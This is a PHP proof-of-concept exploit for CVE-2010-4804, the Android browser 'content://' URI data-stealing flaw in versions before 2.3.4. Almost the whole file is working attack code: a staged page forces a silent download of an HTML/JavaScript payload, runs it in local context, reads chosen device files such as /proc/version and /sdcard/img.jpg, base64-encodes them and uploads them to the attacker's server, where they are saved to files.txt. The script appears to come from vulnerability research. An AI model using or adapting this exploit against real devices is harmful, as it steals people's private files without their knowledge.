Android ‘content://’ URI Multiple Information Disclosure Vulnerabilities

<?php

/*

* Description: Android ‘content://’ URI Multiple Information Disclosure Vulnerabilities

* Bugtraq ID: 48256

* CVE: CVE-2010-4804

* Affected: Android < 2.3.4

* Author: Thomas Cannon

* Discovered: 18-Nov-2010

* Advisory: http://thomascannon.net/blog/2010/11/android-data-stealing-vulnerability/

*

* Filename: poc.php

* Instructions: Specify files you want to upload in filenames array. Host this php file

* on a server and visit it using the Android Browser. Some builds of Android

* may require adjustments to the script, for example when a German build was

* tested it downloaded the payload as .htm instead of .html, even though .html

* was specified.

*

* Tested on: HTC Desire (UK Version) with Android 2.2

*/

 

// List of the files on the device that we want to upload to our server

$filenames = array(“/proc/version”,”/sdcard/img.jpg”);

 

// Determine the full URL of this script

$protocol = $_SERVER[“HTTPS”] == “on” ? “https” : “http”;

$scripturl = $protocol.”://”.$_SERVER[“HTTP_HOST”].$_SERVER[“SCRIPT_NAME”];

 

// Stage 0: Display introduction text and a link to start the PoC.

function stage0($scripturl) {

echo “<b>Android < 2.3.4</b><br>Data Stealing Web Page<br><br>Click: <a href=\”$scripturl?stage=1\”>Malicious Link</a>”;

}

 

// Stage 1: Redirect to Stage 2 which will force a download of the HTML/JS payload, then a few seconds later redirect

// to the payload. We load the payload using a Content Provider so that the JavaScript is executed in the

// context of the local device – this is the vulnerability.

function stage1($scripturl) {

echo “<body onload=\”setTimeout(‘window.location=\’$scripturl?stage=2\”,1000);setTimeout(‘window.location=\’content://com.android.htmlfileprovider/sdcard/download/poc.html\”,5000);\”>”;

}

 

// Stage 2: Download of payload, the Android browser doesn’t prompt for the download which is another vulnerability.

// The payload uses AJAX calls to read file contents and encodes as Base64, then uploads to server (Stage 3).

function stage2($scripturl,$filenames) {

header(“Cache-Control: public”);

header(“Content-Description: File Transfer”);

header(“Content-Disposition: attachment; filename=poc.html”);

header(“Content-Type: text/html”);

header(“Content-Transfer-Encoding: binary”);

?>

<html>

<body>

<script language=’javascript’>

var filenames = Array(‘<?php echo implode(“‘,'”,$filenames); ?>’);

var filecontents = new Array();

function processBinary(xmlhttp) {

data = xmlhttp.responseText; r = ”; size = data.length;

for(var i = 0; i < size; i++) r += String.fromCharCode(data.charCodeAt(i) & 0xff);

return r;

}

function getFiles(filenames) {

for (var filename in filenames) {

filename = filenames[filename];

xhr = new XMLHttpRequest();

xhr.open(‘GET’, filename, false);

xhr.overrideMimeType(‘text/plain; charset=x-user-defined’);

xhr.onreadystatechange = function() { if (xhr.readyState == 4) { filecontents[filename] = btoa(processBinary(xhr)); } }

xhr.send();

}

}

function addField(form, name, value) {

var fe = document.createElement(‘input’);

fe.setAttribute(‘type’, ‘hidden’);

fe.setAttribute(‘name’, name);

fe.setAttribute(‘value’, value);

form.appendChild(fe);

}

function uploadFiles(filecontents) {

var form = document.createElement(‘form’);

form.setAttribute(‘method’, ‘POST’);

form.setAttribute(‘enctype’, ‘multipart/form-data’);

form.setAttribute(‘action’, ‘<?=$scripturl?>?stage=3’);

var i = 0;

for (var filename in filecontents) {

addField(form, ‘filename’+i, btoa(filename));

addField(form, ‘data’+i, filecontents[filename]);

i += 1;

}

document.body.appendChild(form);

form.submit();

}

getFiles(filenames);

uploadFiles(filecontents);

</script>

</body>

</html>

<?php

}

 

// Stage 3: Read the file names and contents sent by the payload and write to a file on the server.

function stage3() {

$fp = fopen(“files.txt”, “w”) or die(“Couldn’t open file for writing!”);

fwrite($fp, print_r($_POST, TRUE)) or die(“Couldn’t write data to file!”);

fclose($fp);

echo “Data uploaded to <a href=\”files.txt\”>files.txt</a>!”;

}

 

// Select the stage to run depending on the parameter passed in the URL

switch($_GET[“stage”]) {

case “1”:

stage1($scripturl);

break;

case “2”:

stage2($scripturl,$filenames);

break;

case “3”:

stage3();

break;

default:

stage0($scripturl);

break;

}

?>

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